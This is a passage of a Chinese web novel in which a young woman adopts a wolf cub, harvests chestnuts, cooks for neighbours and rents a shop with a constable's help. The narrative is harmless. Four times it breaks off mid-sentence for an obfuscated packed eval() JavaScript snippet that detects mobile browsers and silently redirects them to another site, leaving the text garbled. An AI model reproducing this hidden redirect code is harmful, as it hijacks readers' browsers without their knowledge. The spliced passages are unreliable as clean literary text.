这次明显卖的更快了，码头没什么人之后她便推车又来到之前摆摊的地方，这条路人还是挺多的。 之前街上卖油的那家商铺经营不善快倒闭了，那边位置不太好，他们打算以三两一月的价格租赁出去，但一直没人租，现在已经变成二两半了。 她手上现在加上之前接的刺绣单子，减去买药的钱，不过两三两银子了，租那家商铺肯定能够，但马上冬天了，还要买冬衣，准备过年的物什，还有给张夫子送礼物的钱。 这次如果一时冲动租了，万一没赚到那么多钱该怎么办，还有下个月的租金，摊子的税也比商铺的税要低很多。 谢玉珍想的正出神，对面一家卖果子的铺子的伙计吼着出来，谢玉珍皱眉抬头一看，他手上正拿着一根棍子呢，嘴里还说着：：“光捣乱，屋里的东西是你个小畜生能碰的吗?” 窜出来的黑影躲在谢玉珍的腿下，谢玉珍低头一看，一双湿漉漉的圆润的灰色眸子直对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780303|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，原来是一只浑身脏兮兮的小狗，不知道是不是狗来着。 它紧紧挨着她的裙摆边上，看上去十分可怜，谢玉珍稍微拎起裙摆，小家伙十分有灵性地躲进去了。 那伙计在外面呆了不过一会儿就回去干活儿招呼客人去了，谢玉珍便拎起小家伙观察，不看不知道—— 被拎着后脖颈的小家伙仿佛被掌控了命门，可怜兮兮地眨巴着眼睛，尾巴向下耷拉着。 “还是一只幼崽呢。”谢玉珍自言自语道，一只狼崽子，她见过，只有野狼才会有灰色的野兽的眼眸，狗的眼睛一般是黑色或者棕色，很好认的其实。 真可怜，母狼大概率是在狼群之间的博弈中死去或者被猎人射去了，否则一只还在吃奶的小狼怎么会沦落在闹市之中。 都还没学会咬人呢，她想。 她将锅里的骨头捞起来放在没放盐的骨头汤里，晾温热后放在地上，小狼在她忙这些的时间里竟然也没有跑远，耸动着鼻头，一副馋样儿，仿佛知道眼前的两脚动物是在给它“上供”食物一般。 谢玉珍将碗小心翼翼放在后面屋子台阶上面，她放好后就退开了，小狼自己跑过去吃了。一人一狼也因为这一饭之恩展开了初阶段的人兽友谊。 等吃完，狼崽子便不知道跑哪里去了。 “小没良心的。”谢玉珍拾起碗单独放到车子里面，小声笑骂道。 人流量随着太阳越升越高也越来越多，谢玉珍摊子的吃食很快卖完了，连汤都不剩了。 那只狼崽子又出现在离她不远的地方，亦步亦趋不远不近跟着她，谢玉珍失笑，将狼崽子抱起放到车上。她揣着两包瓦片炙推着车，去学院给谢朗送东西。 “女兄，你来看我啦！”这两天天气急转寒，谢朗脸颊冻的红彤彤的，映衬的牙齿格外的白，一张笑脸摆在那里也可人——无疑，谢祖母捡的都是漂亮孩子。 “我来给你送厚衣裳，若等到休沐，你不是要冻死了？”谢玉珍开玩笑道，她将装着衣裳的包袱丢到对方手里，转身就在车上找了起来。 谢朗疑惑问道：“女兄，你在找什么呢？” “呐，做的新菜，凉着口味也是没有什么大变化的，和同学分着吃，对了，”谢玉珍想了想补充道，“那包葱卷河虾干给夫子那边送过去知道吗，你想吃这个月底回来我给你做。” 她说话的时候一双耳朵在后面一闪一闪的，谢朗眼尖，便看到了。 “女兄，你买了小狗吗！”他惊喜问道，跑到车边够过去看，“好可爱啊，诶，怎么感觉长的有点奇怪？”他手摸过去却被躲开，他便不强求了，收回手，问道。 谢玉珍淡定地将狼头摁下去，解释说道：“不是买的。” “没花钱，女兄我们运气真好！”谢朗一想到能白捡一个狗崽打心眼里高兴，买一只好狗要花不少钱呢。 “不是狗。” “不是狗……啊？” 15. 添丁进口 谢朗伸手去摸小狼崽子的毛发，小狼还没换毛，毛发还是很软的，轻柔柔地扎在掌心，像是苍耳的刺粘在头顶，不疼，但微微泛着痒。 谢玉珍催他回去，小孩子却牵她衣角，十分眷恋地看着她，她心软，指尖抚上他的额间：“月底就回来，读书了就不是小孩子了，再做小儿姿态，同窗看见了该笑话了。” 话虽这么说，却不见她急着催他了。 谢朗抬头直直的看向她，认真说道：“他们是他们，我是我，他们笑话他们的，我又没干亏心事，不怕他们说。” 两人说了一会儿话后，谢朗恋恋不舍地回到了书塾，谢玉珍推着车将小狼崽给带了回去，顺便拿走了之前交给木匠做的牌位。 将小狼暂时安置在院子里后，她拿出新买回来的刻刀，在空白的牌匾上刻上“黑咪”二字，权做香火供奉依托之死物。 她将此牌位放在了自己闺房的柜子上，摆好应季的鲜果和糍粑，诚信下拜。 “我真不知如何感谢才好，”谢玉珍手上执着三根细香，一拜首，“若不是你，我现在还在泥潭里像只猪猡一样生孩子，我不相信上天会给人悔改的机会，也不相信上苍会为凡人将逝水倒流。”二拜首。 “只有在乎我的，才会给我回头的机会，可上苍怎么会偏爱谁呢，黑咪，我一清二楚，是你是不是？”三拜首。 “一日三次，我为你奉上清香三柱，你早日得道，早日得道。”谢玉珍抚摸着涂过清漆的牌位，呢喃的声音除了她自己，只有穿堂风听见。 门外传来刺耳的抓门的声音，谢玉珍收回手，走到房门口将门一下子打开，狼崽子一下子栽在门槛上，撞的一响，让人听见就觉得可怜。 谢玉珍提着它的脖子抬脚出去，从锅里又盛出一碗温热的肉汤放在地上，她蹲下将狼崽子放在饭碗钱：“再捣乱的话就把你卖了，刚好想换扇门。”她语气凉的小狼崽子打了个机灵，而后又摆了摆头，耳朵甩的一摆一摆的。 “真是奇怪，别的狼的耳朵都是竖着的，怎么偏你就趴着，跟个哈巴狗儿似的。”谢玉珍疑惑地拨弄小狼无力的耳朵，小狼整张狼脸埋在饭碗里，吃的头都不抬，“这么不警惕，我都怀疑你是不是一只狼了。”谢玉珍无奈地摇头。 “罢了，这跟我有什么关系呢。”谢玉珍怀疑最近脑子是不是出问题了，“马上把你送回山里了，我关心这些干嘛。” 吃完肉汤嘴套脏兮兮的狼崽子可贼了，吃完了偷偷嘴往她裙摆上蹭，谢玉珍一下子拎起来它，小家伙心虚的很，眼珠子滴溜溜地乱转，谢玉珍掏出手帕了，细心将它的嘴擦干净，然后把他放进了背筐里，她今天进山一趟。 张家的二郎这次秋闱要下场，她上次来山里采菇子发现了一片野栗子林，已经成熟了，树下堆着好多干枯的黑刺壳，人站下面还得小心别被砸到了，可不是好玩的，她想着做些糖炒栗子和栗子糕或者栗子泥馅儿的烧饼给送去他家。 考场里听说不好过，将心比心，张娘子待她如同亲生女儿，张夫子待她亦然不差，她做这些也不算什么。更何况，还没到深秋的栗子可甜了，还嫩生生的，因为在山上，那片栗子熟的比山下晚，就更嫩了。 其实生食是最好的，但是生栗子非常容易生虫，摘下来不过两三日就都坏了，因此，就连游商，都不会带着生栗子出远门售卖。它不是一个合格的经济作物，却是底层百姓最喜爱的秋日甜品。 可以说和桃花一样宜室宜家了。 谢玉珍先将小狼放到一边，拿着一根竹竿爬上树打栗子，一般都是连枝打断的，栗子接口的那条短枝是有韧性的，打不下来，也不可能上手扭的，那得多疼。 咦，突然想起来，现在还是脆藕的好时节，她记得村里就有个没人管的荷塘来着，过几日就去挖藕好了，清炒脆藕小时候祖母给她做过，可好吃了。 想到这里，她嘴角微微勾起，记忆里祖母的手比炉子还要温暖。 打完栗子后，她下树将刺球和枝条用剪子分开，枝条垫在下面，刺球堆上面，否则背筐是装不下的。 她一只脚压着刺球，一只手拿着剪子撬开它，里面露出来棕色黄色紧紧挨着的栗子瓣儿，跟蒜瓣儿似的，有大有小的，真可谓是上阵父子兵。 她将里面的栗子都取出来，从其中挑了一个淡黄色接近白色的，这种很容易就拨开了，里面的皮也不会粘在肉上，抠破之后一搓就下来了。 淡黄色的仁儿是小鸭子绒毛的那种嫩生生的颜色，也是迎春花的颜色，看着像春天的颜色，其实也是秋天重要的标志呢。 谢玉珍将剥好皮的板栗仁儿送进嘴里，板栗并不是多汁的产物，但由于这个很嫩，因此每一次咀嚼，在牙齿间清脆的声音后都能感受到甜蜜的汁水，让人幻视是幸福。 嫩板栗真甜。说实话，祖母说过，洛阳的板栗不算好吃，荆楚一带盛产此物，那里的板栗才堪称我朝之最呢，个头和风味都不是洛阳可比的，因为荆楚濒临水域，也盛产莲藕，那里的莲藕汤也非常出名。当然，莲藕汤只能用粉藕，是不能用脆藕的。 狼崽子蹭她的腿，谢玉珍这才察觉到狼崽子竟然还没走，它呜呜地叫着，在她脚边急得团团转。 谢玉珍挑眉：“怎么，你也要吃？”谢玉珍新剥了一个板栗，递到小狼崽脸前摇晃小狼崽立马扑过去，却扑了个空。 谢玉珍直起身子好整以暇地看着狼崽子，将板栗以一个完美的抛物线掷了出去，小狼崽子嗖的一下飞身追了过去。 谢玉珍小时候是个促狭鬼。张家姐姐的话的含金量还在上升。 谢玉珍背起背筐就逃之夭夭，没料到没过一会儿小狼崽就自顾自的追了上来，边跑五官边乱飞。像只傻狗。 谢玉珍无奈地抱起它，往更深处走，等走到一片不怎么见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780304|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光的密林，谢玉珍便将狼崽子放下。她推它一把—— “你一只狼崽子，我不养你，你走吧。”谢玉珍狠狠心，没管小狼呜咽呜咽地撒娇，将它推远一些，“这里才是你的家，别再跑到人群里面了。” 她正准备站起身，身子突然打了个寒战，她看见了。 环境昏暗，绿林里却传来幽绿色的圆圆的光，如同鬼火。 草！是狼群，怎么这么倒霉！肯定是找这狼崽子的，她真服了！谢玉珍冷汗都出来了，迅速爬上了离她最近的一棵树，事实证明在生死之间人的潜能是无限的，这不，背着这么重的筐，她三下五除二就爬上去了，待在最近的一棵粗枝上。 差点变成狼的腹中餐了，谢玉珍松了一口气，该庆幸她碰到的不是大虫吗？她自嘲的想。 “小崽子，你可把我害惨了。”谢玉珍颇有些咬牙切齿。待在树上不敢下来。 狼群见她上了树，也不埋伏了，一窝蜂都出来了，谢玉珍数了一下，有十多只狼，还是支大狼群，她真服了。 一只狼在下面气急败坏地挠树，似乎这样谢玉珍就能主动下来一样。她死都不会下来的，谢玉珍想。 不过一会儿，狼群的注意力就被狼崽子吸引了，很显然，这支狼群认识这只小崽子。 小狼崽呜咽地趴伏在地上，谄媚地摇着尾巴向为首的母狼爬了过去，那只母狼不知为何，突然暴起将小狼崽的脖子咬住，谢玉珍心一紧，下一幕就让她放下心来，原来母狼王并没有真咬，只是一次警告。 谢玉珍在树上都能听见狼群嗓子里的低沉吼声，就是狼群对外来者的一种威胁。这个狼群不接纳小狼崽。 小狼崽不死心，还想接近母狼王，却被无情地撞开，显然，狼群并没有重新接纳它，换句话说，它很有可能被二次抛弃了。 狼群在母狼王的带领下离开了，小狼崽想跟着，却被吓退。 谢玉珍可以肯定，母狼王在离开之前，绝对回头看了她一眼，眼里蕴含着什么，她大概读懂了。 谢玉珍热血下头冷静下来，在树上待了半个时辰后才爬下来，狼是一种很狡猾的生物，还是群居的，她得确认那支狼群不会折返回来，把她当做盘中餐。 狼崽子还没走呢，在树下蜷成一团，只看得见呼吸的起伏，谢玉珍差点踩到它，她一个趔趄差点背朝地摔了下去，还好她平衡能力还可以。 谢玉珍气不打一处来，拎起狼崽子的脖子没好气地道：“你还伤心，我差点被你害得进你娘肚子我都没伤心呢，算了，看你可怜，你以后就待在我家吧。”小狼崽垂着毛茸茸的脑袋，一动不动的任骂，只有鼻子在抽动，谢玉珍叹了一口气，把它抱在怀里，不再说话了。 不就是家里多了一张吃饭的嘴吗，她又不是养不起，谢玉珍心里涌起豪情壮志，再说了，一只狼能吃多少，还能比猪吃的多？她还打算养猪呢。 16. 糖炒栗子 谢玉珍抱着狼崽子往回走，林子里突然又传来窸窣的声音，谢玉珍立马警觉起来，腾出一只手紧紧捏着剪子，浑身都绷直了。 那边高高的草丛里探出一颗脑袋，竟然是李香君，他下巴处还带着一根草屑，面带尴尬地走出来。 谢玉珍稍微松懈下来：“原来是李捕快，今日真是凑巧了。” 李香君一只手上拎着一只歪着脖子死掉的山鸡，讪讪地看向她：“谢小娘子，是不是吓到你了？真是抱歉，我母亲病中嘴里没有味道，我来山里想着给她猎只山鸡炖汤补一补。” “没事。”谢玉珍暗自收起剪子，抱稳狼崽子，考虑一会儿说道：“上次的事，我不知道该怎么感谢才好，李郎君不介意的话可以将这只山鸡交给我炖，一两个时辰就好了，不耽误你的功夫。” 谢玉珍衣衫上多处都是爬树留下的黑灰，露出来的手腕上还有擦伤。 李香君身为捕快，眼睛特尖他掏出一个瓷瓶，递给谢玉珍道：“谢小娘子，这个对擦伤刀伤特别有效，你先收下吧，我先谢谢你了。” “啊，多谢李郎君。”谢玉珍这才感觉到身上一丝一丝的刺痛，她愣了一下后接过瓷瓶，心中有些羞恼，“李郎君眼睛可真尖。”他不重不轻地说了一句。 “捕快是这样，不然怎么抓得住犯人呢。”李香君一笑，那股憨厚的笑出现在他的脸上有一种诡异的和谐。 谢玉珍一哽，还是她小人之心度君子之腹了呗。 李香君拎着鸡不声不响地跟在谢玉珍后面，出山的时候，路过那片茭白，便顺便采了一些，当然，都放在李香君的箭筒里了，他主动拿的，拗不过他。 直到到她家门口，李香君站在门口踌躇，不知道该不该进去。 “隔壁张二郎在家，李郎君去隔壁张夫子家坐坐吧。”谢玉珍接过山鸡，提供了一个万无一失的举措。 李香君闻言便去隔壁拜访了。 山鸡一般来讲是比家鸡更有营养的，是做八珍汤很好的材料，这次做汤的第一步当然是给鸡烫毛拔毛，在开水蒸腾下，这一步就有点臭烘烘的，，谢玉珍连眉头都没有皱一下，很快就弄好了。 八珍汤她已经很熟了，很快就弄好，炖在砂锅里了。 谢玉珍将茭白的皮扫掉后，将板栗刺球都倒在地上了，枝条放到熏肉的屋边晒干，晒干后可以拿来引火，她坐在台阶上，手里拿着一把大剪子，剪子把手的地方缠着红线，看着很是喜庆，其实是为了防滑。 坐着其实比蹲着更好着力，谢玉珍将剥下来的板栗都放进一边的框中，剥离的刺球外衣放到一边，这个晒干了也是拿来引火的。 开板栗不是一个很费劲儿的活儿，就是枯燥，很快她就将板栗都剥出来了，背回家的时候看着多，剥完之后也就一筐底的样子，看着并不算多，别说做板栗糕了，光是糖炒栗子也不够啊。 “唉，”谢玉珍叹了一口气，揉了一把在旁边找存在感的狼崽子一把，剥了几颗板栗仁儿让它兀自嚼去了，“明儿下午还得进山里一趟，可别再碰见狼了。” 她摘回来的栗子品种是毛栗，栗子上面披着一层很浅的绒毛，得用盐搓洗一遍将上面的毛搓掉，冷不防就有人会因为这个毛嘴角发痒发肿，和有些人碰不得毛桃的毛是一个道理。 谢玉珍一双素白的手浸在透明的水中一下一下搓着栗子，将水搅起来一层一层的波涟，水浸润过手指又滑落，却还有几颗可怜的水珠颤巍巍地立在冻的粉白的手指上，片刻又不甘心地滚落，明明一副很平常的生活画面，却因为这双手，格外活色生香。 她头发梳的利落，没有碎发遮挡视线，认认真真将每一个栗子搓的光滑平净，而后用盐水泡一炷香的时间后清洗两遍。 糖炒栗子最重要的是砂石，反而不是糖，如果没有砂石的话，大小不一的栗子在锅中翻炒后，大的熟了小的就焦了，小的熟了大个儿的还是生的。她早在发现那片林子就把炒栗子的砂石给准备好了，故而这时也不必瞎子摸象一样。 李香君之前送的匕首在这时候倒派上了大用场，其锋利的缘故，谢玉珍给毛栗开口的时候也很轻松，没有出现不小心划到手的情况。 板栗是必须要开口的，否则炒熟后可以当炮竹使用了，杀伤力极强。 无论是开一字刀还是十字刀，都是可以的，没有什么特别的要求，只要不让板栗里面压着气就行了。 糖炒栗子这种吃法还是一名叫李和儿的人发明的，这个人可以说是个妙人是也，不然怎么会发现这样一个不寻常的吃法呢？ 谢玉珍拿出一罐蜜，这是她跟着一名老师傅去割回来的，是野蜂蜜，特别的甜，她那次还被蛰出了好几个包，蜂针取出来后拿丝瓜叶南瓜叶搓洗了好几天才好的，又痛又痒，不过得了这一罐蜜，也是值得的。 谢玉珍仔细翻炒着锅里的砂石和板栗，板栗在翻炒中挂上了蜜，外表变得油亮起来，看上去好不诱人。 糖炒板栗做好后，在冷天可以保存很久的，一点都没有生的时候的样子，简直可以说是两幅面孔。 翻炒的过程对手腕和手臂是一种折磨，不能停不能快不能慢，谢玉珍怀疑她的手臂要死掉了。 可是炭火的味道、蜜的味道、熟板栗的香甜味一直在往上蹿，是她最原始的动力，还有一边独灶上煮的鸡汤的味道，一齐将温度升高了，她额上沁出汗，手上也有劲儿了。 这次做的糖炒板栗并不算太多，要自留肯定是没有的了。 谢玉珍只留了两颗给狼崽子，她口腹之欲并不算太重，只尝了一颗浅尝辄止。将还滚烫的糖炒栗子用油纸盛起来，大概有个六七包的样子，其实也不多。 她敲响隔壁的门，是张娘子开的门，她一见谢玉珍就笑：“玉珍怎么来了？快进来！” 谢玉珍随着张娘子的邀请进了门，她边走边说道：“听说二郎这次秋闱要下场了？” “是啊，”张娘子叹息一声，“过两日就得走了，我这心里总是不踏实，不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780305|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这次能不能考中，不是我说丧气话呀玉珍。”张娘子意识到什么懊恼地不说话了，她生的儿子她了解，从小就不是读书那块料，调皮捣蛋跟个皮猴子似的，可这怎么脱嘴说出来了。 不吉利，真是不吉利，希望漫天神佛可千万别在意才好，她不自禁合手祈祷。 “娘子放宽心，你和张夫子这样人物，二郎再怎么也不会差到哪里去。”谢玉珍心里也没觉得张二郎能考中，可嘴上万万是不能如此说，不然成什么了。 张娘子平时嘴上如何责备，可心眼儿里最疼二郎，自然盼着二郎好：“若能考中自然是好，可得感谢祖宗保佑了。” 她拉着谢玉珍在屋里坐下，才看见谢玉珍手里拿的东西。 “这是糖炒栗子，现在天冷了，若将油纸用蜡封好，能保存良久，我想着可以给二郎带在路上甜甜嘴。”谢玉珍见张娘子探究的目光扫过来，解释说道，“只可惜今日从山上打的栗子不够，过两日再送些栗子糕来，这个保存的时间更久，在考场吃也是可以的。” “你去山里了？”张娘子捕捉到重要信息，锐利的眸子都要将谢玉珍盯穿了。 糟糕，说漏嘴了，谢玉珍心里叫苦不迭，怎么就这么多话。 “不是我说你玉珍，”张娘子见谢玉珍坐立不安的样子，叹息一声，心中的火气也下降了大半，“你一个手无缚鸡之力的弱女子，单枪匹马往山里闯，万一遇到什么事怎么办？不说朗哥儿，你也该疼疼你自己，你自己想一想，你才及笄几年？便觉得万事都办得到？” 谢玉珍心知张娘子是为了自己好，更不敢说什么，张二郎和李香君进正堂便是这样让人坐立不安的场景。 “张娘子。”李香君向她执晚辈礼。 “母亲，你和谢家女兄怎么了？”张二郎看见这样严肃的场景忍不住发笑，“怎么跟吃哑药了一样哈哈哈。” 张娘子狠狠白了他一眼：“你个魔星！我天天为你的事着急上火，你还整日的不着调，你气死我算了！” 张二郎眼珠转了两下便嬉笑着：“哎呀母亲，谁不知道你是刀子面孔菩萨心肠，你嘴上这么说，最疼的不还是我嘛！别生气了，算我错了！”他围着张娘子撒娇。 张娘子失笑，谢玉珍见这个场景心中未免还是有些涩涩的，面上还是带着笑。 “我就先回去了张娘子。”这个场面也不适合待下去了，谢玉珍便告辞了。 “晚辈也告辞了。”李香君道。 “还不送送玉珍和李捕快。”张娘子有心撮合她家二郎和谢玉珍，连忙招呼张二郎道。 “得嘞！”张二郎耍宝道。 “二郎不必相送了，不过几步路了。”谢玉珍回头说道。 “那我先回去了，李大哥，下次我回来再和你过招！”张二郎爽快答应道，另外叮嘱李香君道。 “谢小娘子，不像十六七岁的女郎。” 走在路上，李香君冷不丁来这样一句话，谢玉珍惊地脚步一个趔趄。 17. 一只喜欢吃栗子的可爱小狼呜云 “何故有此一言？”谢玉珍不动声色恢复正常，佯装镇定笑着开口问，微笑是人一生不会放弃使用的面具。 “我这些年见过很多男人女人，不少人与你境况相似，却没有谁待人处事、迎来送往如你一般，娴熟地像活了两个廿载。”李香君没读过书，肚子里没有多少墨水，尽量组织语言去形容这种违和的感觉。 谢玉珍心中大石放下，她可不想被人当做妖邪，这是要被烧死的,动作上难免从容一些：“那有什么，尘世里什么没有，自然容的下我这般人。” 李香君笑起来，一双桃花眼眯起来，倒显得有些憨厚汉子的味道，他只是随声应和着对对对几个字，跟着身前的女子进了那扇陈旧的木门，这也算是个好宅子了，麻雀虽小，五脏俱全。 其实这户的户主并不是谢玉珍，而是谢朗，女子是不能继承长辈的财产的，因此只能是谢朗，而幸好，谢朗是一个具有良知的正常男子。 谢玉珍仔细将鸡汤倒进瓮中封好，放在桌子上，汤之前一直在泥炉上滚着，因此烫的很，她的指尖隔着陶瓮都能察觉到灼烧的痛感，她取出一根麻绳给汤瓮系了结，这种结很牢固，不会脱手的。 李香君拎起绳子，郑重地向谢玉珍道谢：“谢小娘子，多谢你。以后若有什么事，你尽管找我。”他承诺。 “李郎君这么一说，”谢玉珍想起什么，蹙起秀气的柳叶似的眉毛，开口询问说，“之前潘家的案子，查出凶手是谁了吗？”她心中其实并不报很大的期待，她其实早就知道，潘案和县令私底下有勾结，不，其实不只是县令，背后的水深不可测。 但她还是想问，这个变数太大了。 李香君闻言深深叹了一口气：“潘家的一个家丁自首认罪了。”疑点重重，他并不想结案，县令大人却好像很不耐这件事，匆匆定了下来，那个家丁早就在菜市场被斩首了。 竟然如此，果然如此，谢玉珍心中并没有什么意外：“这个案子就这样完结，也未尝不好。”她低声说道。她的生活好不容易平静下来，她不过是一个普通人，经不起一朵再小的水花了。 她拳头不自觉地攥紧在胸前，胸前的衣裳都抓皱了，一颗硕大如珍珠的泪珠重重跌在地上，溅起尘灰，谢玉珍克制住自己的心绪，重新转头面对着李香君。 “李郎君，汤既然炖好了，你便回去吧。”谢玉珍说道。 李香君心中还有疑惑，却不便问出口，从怀里掏出两锭银子放在桌子上，银子带着暗灰的颜色，想必攒了很久。 谢玉珍疑惑地看向对方，刚要说些什么，就被对方打断了：“我听说你想开家食肆，这是我的一点心意，谢小娘子，你不要推辞，就当我凑合这个生意，年底分些分红，这个事也没有别人知道，我娘也不知道，谢小娘子，你不要怕什么。”李香君嘴笨，不知道说好听话哄姑娘。 当然，他从来没奢望过能娶谢玉珍，可他看见她很欢喜，情不自禁想帮她，不需要回报，更不想被感激。 “可是……”谢玉珍迟疑，她心中还是有疑虑，可李香君不等她说完，提着鸡汤匆匆走了，速度快的像只敏捷的豹子，生怕被追上。 那两锭银子就那样躺在桌子上泛着微微的光，与谢玉珍两两对视，她也不是个扭捏的人，将两锭银子收起来，心中立誓发狠要做出点成绩来。 李郎君真是她的贵人。 这笔钱，还要尽快还上才行，她掂量了一下，这大概有四五两银子，不是一个小数目，都够交两个月的租金了，谢玉珍心里有了负担，而这负担又转化成动力，将她撑起来。 过了也就四五日光景吧，谢玉珍便将二两半银子交给那油铺老板了，顺便花了半吊钱将铺子里的桌子柜子都买下来了，这些桌子本来是放油的长桌，因此特别的结实，也是房屋主人看她交钱爽快才便宜卖给她的。 这些长桌谢玉珍想好了，就摆些时兴的果子，比如蜜饯、梅子干之类的，也可以放时令的鲜果，柜子放她自己晾的酒和小咸菜。 谢玉珍雇了村里几个腿脚不好的叔伯婶子一起上山打栗子，他们身体其实没有大毛病，但出去找活计争不过四肢健全的人，再加上年纪大了，更没有主家要，谢玉珍便雇了他们，钱给的不算少，足足一人二十文钱，五个人就是一百文了。 为了防止出现什么不可控的事，她还和他们签了契子，在里正那里说了话。 “山上有狼，叔，婶子，你们不要走太远。”谢玉珍叮嘱道，为了方便爬树，她穿了便于行动的裤子，裤腿被绑带绑的紧紧的，风一吹像个灯笼似的。 “还有狼？！”一个三角吊梢眼的老汉闻言，惊呼出声来，“这你怎么不早说？这可得给老汉我加点工钱！”他凑上前说道，谢玉珍连忙后退了一点，防止对方口水喷到自己脸上。 “狼群在深山里面，基本不可能出来，而且我给的工钱已经很多了。”谢玉珍解释道，“我不可能再加，大吉叔，你不满意的话，我给两文钱路费你，你回去吧。” 谢玉珍是想帮村子里找不到活计的人，可她也不是冤大头啊，二十文都可以雇大小伙子了，除了她谁还能出这么高，只不过是摘栗子而已，很轻松的活计了。 这一次松了口，以后人人便都觉得她是可以欺负的，绝对不能开这个口子。 大吉悻悻地闭上了嘴，毕竟他四五日都不一定能挣得这二十文，不过是背些栗子下山就有二十文，简直跟白捡一样，他不过是觉得这小娘子花这么些铜子来雇他们这些人背栗子是脑子坏掉了。可没想到谢玉珍竟然不是个傻子。 其余人至少面上对他都是鄙夷的，内心里怎么想谢玉珍才懒得管。 “尽快摘完下山吧，你们也尽早拿到工钱。”谢玉珍吩咐道，她将袖子绑好就敏捷地爬上了面前的栗子树，这次她做好了万全的准备，下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780306|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺了布，腰间还有一把镰刀，省力很多。 她将比较高的位置的栗子弄下去后便爬了下去，比较矮的位置就需要竹竿打了，所以才叫打栗子嘛。 等地上的布上面密密麻麻堆满了栗子，捏着四个角就拎起来了，走到背筐边松开一个角倒下去，很轻松就倒满了，不用弯腰一个一个去捡。 其他的人速度比她要慢一些，但其实也用不了多久，一群人很快就背着背篓集合在一起了，大家便这样下山了。 “丫头，下次什么时候还有这种活计啊？”一个跟在她身后的大叔小心翼翼地问。 “这个不好说，”谢玉珍回答道，话也没说死，“下次有需要的地方我肯定找你们。” 其实为了防止再出现大吉这样的情况，她肯定不会再找这几个人了，她再次肯定了一个事实：人都是得寸进尺的，给予的东西太多便贪心更多，反而正常对待不会出问题。人性就是如此。 几个人把板栗倒在谢家的墙根儿，等在那里，谢玉珍进屋拿了半吊钱出来，数着数给他们一一结清了，一共七个人，是一百四十文。 大吉还要纠缠，谢玉珍直接冷了脸：“上山之前我们是在里正那里盖过章的，怎么，你要言而无信是吗，大吉叔？” 一听里正的名头，他登时老实下来，毕竟他只是贪财，胆子却不算大，敲竹杠是要进监狱坐几天的。 几人领了工钱当她面数清楚后便走了，谢玉珍耳朵尖，甚至还能听见院墙外有人在骂她。 这次算是里外不是人了。 谢玉珍叹了一口气，蹲在墙根认命地掰板栗，这次带回来的还蛮多的，一直掰其实是一样很枯燥的运动，也耗费时间，这一堆，她一个人弄，几乎弄到了日落西山。 掰完外面的刺壳，就把刺壳都丢到外面去晒，趁现在天气比较干燥，没有雨水，几天就干了。 掰下来的栗子还要剥壳去皮，这一道工序更费功夫，剥好的嫩仁放在盆子里，看着嫩黄叠上嫩黄，越堆越高，很有成就感，谢玉珍甚至怀疑自己有毛病，居然要围着圈儿地摆放堆叠，简直神经质一样。 但这样真的很有种规律的美感。 狼崽子此时情绪又高涨起来，没像之前那样趴着门框蔫巴，它拱着她的脚脖子哼唧撒娇，简直不像狼了。 谢玉珍把它抱到膝盖上：“我看你娘眼光还是毒，你这哪里像狼嘛，黏黏糊糊的像小狗儿，就算在狼群留着地位也说不准是最低的，还不如跟着我，还能大口吃肉。” “呜耶！呜——！”小狼崽子呜呜叫着，像是在反驳她一样，伸长了几乎没有的脖子去舔她的下巴。 “干脆给你取个名字叫呜云得了！”谢玉珍剥了一颗特别嫩的栗子仁，塞进小狼嘴里，小狼就停止呜咽似的撒娇了，厚实的爪子伸到嘴边跟要接住漏下来的栗子碎一样。 一只喜欢吃栗子的可爱小狼呜云。 18. 栗子糕 剥好的板栗放到锅里隔水蒸熟后，取出来晾凉。这个过程谢玉珍飞快地用红绳编了一条繁琐的绳结，上面做了活扣调节松紧，她将红绳穿了贝壳给呜云脖子上戴着。 谢玉珍调节好松紧后将小狼放到院子里玩，厨房在台阶上面，把小狼放下去免得调皮烧了毛。 栗子在伸手不见五指的锅里经受着蒸腾的水汽，将热量都吞进去，内心从坚硬渐渐烧到柔软，时间和火给它赋予了不一样的风味。 